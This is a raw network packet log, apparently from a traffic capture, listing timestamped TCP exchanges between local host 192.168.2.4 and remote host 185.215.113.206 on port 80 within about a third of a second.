Dec 9, 2024 20:27:30.193216085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.193434954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.196902037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.196962118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.240354061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.240405083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.240411043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.240627050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.242301941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.242366076 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.242422104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.242479086 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.246229887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.246288061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.294625044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.294687033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.294728041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.294842005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.296365023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.296421051 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.296657085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.296705961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.300215960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.300266981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.301716089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.301769972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.301861048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.301964045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.305835009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.305939913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.306005955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.309392929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.309474945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.309531927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.313325882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.313405037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.313409090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.313484907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.317224979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.317296982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.317327023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.317375898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.321007967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.321048021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.321115971 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.321146965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.324913025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.324978113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.325017929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.325124979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.328744888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.328814030 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.328849077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.329096079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.332652092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.332726955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.332751036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.332788944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.336538076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.336589098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.336671114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.336744070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.340429068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.340487957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.340528965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.340543032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.344270945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.344376087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.344475985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.344603062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.348126888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.348177910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.348189116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.348231077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.352180004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.352278948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.352494001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.352580070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.355840921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.355886936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.355890036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.356004000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.358587980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.358639956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.358701944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.358757973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.361418962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.361486912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.361507893 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.361634016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.364272118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.364322901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.364361048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.364408016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.367028952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.367069006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.367120981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.367245913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.369105101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.369138002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.369235039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.371072054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.371121883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.371190071 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.371260881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.373122931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.373168945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.373208046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.373285055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.375186920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.375293970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.375305891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.375351906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.377237082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.377336025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.377405882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.377563000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.379451036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.379476070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.379501104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.379518032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.381305933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.381357908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.381397963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.381438017 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.383330107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.383379936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.383522034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.383595943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.385351896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.385399103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.385469913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.385519028 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.387403011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.387451887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.387495995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.387573004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.389544964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.389585972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.389594078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.389708996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.391514063 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.391566038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.391580105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.391720057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.393539906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.393589020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.393613100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.393656015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.429692030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.429753065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.429800987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.429872990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.430687904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.430722952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.430737972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.430856943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.432734013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.432787895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.432856083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.433003902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.434768915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.434822083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.434866905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.434910059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.436793089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.436841965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.436866999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.436965942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.486773014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.486805916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.486845016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.486865997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.487333059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.487443924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.487601995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.487734079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.489346981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.489415884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.489437103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.489486933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.491452932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.491504908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.491530895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.491631985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.493516922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.493567944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.493602037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.493653059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.495584011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.495651007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.495704889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.495760918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.497776985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.497838020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.497878075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.497925043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.499661922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.499713898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.499736071 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.499836922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.501616955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.501668930 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.501717091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.501888037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.503974915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.504091024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.504185915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.505666018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.505734921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.505872965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.505934954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.507823944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.507870913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.507930040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.508016109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.509927034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.509978056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.509988070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.510096073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.511404991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.511452913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.511497021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.511539936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.513015032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.513062954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.513068914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.513286114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.514863968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.514925003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.514938116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.515002966 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.516302109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.516350985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.516463995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.516519070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.517959118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.518007040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.518168926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.518218040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.519671917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.519718885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.519915104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.519967079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.521239996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.521306992 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.521325111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.521509886 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.522877932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.522927999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.523056984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.523147106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.524580956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.524651051 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.524653912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.524697065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.526159048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.526279926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.526330948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.527829885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.527880907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.527905941 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.527929068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.529540062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.529589891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.529644966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.529752016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.531158924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.531212091 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.531317949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.531385899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.532744884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.532835960 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.532978058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.533060074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.534375906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.534499884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.534707069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.534749985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.536089897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.536149025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.536258936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.536317110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.538235903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.538285017 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.538335085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.538402081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.539885998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.539935112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.540044069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.540091038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.541631937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.541682005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.541695118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.541796923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.543324947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.543371916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.543401957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.543452024 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.544713974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.544761896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.544924974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.545064926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.546300888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.546366930 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.546402931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.546478987 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.547528982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.547579050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.547604084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.547681093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.549175978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.549233913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.549263954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.549288034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.550781012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.550910950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.550913095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.551033974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.552421093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.552464962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.552491903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.552581072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.554058075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.554105043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.554141045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.554188967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.555413961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.555464029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.555541039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.555695057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.556740999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.556835890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.556854010 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.556900978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.558135986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.558187962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.558258057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.558311939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.559524059 CET	80	49740	185.215.113.206	192.168.2.4
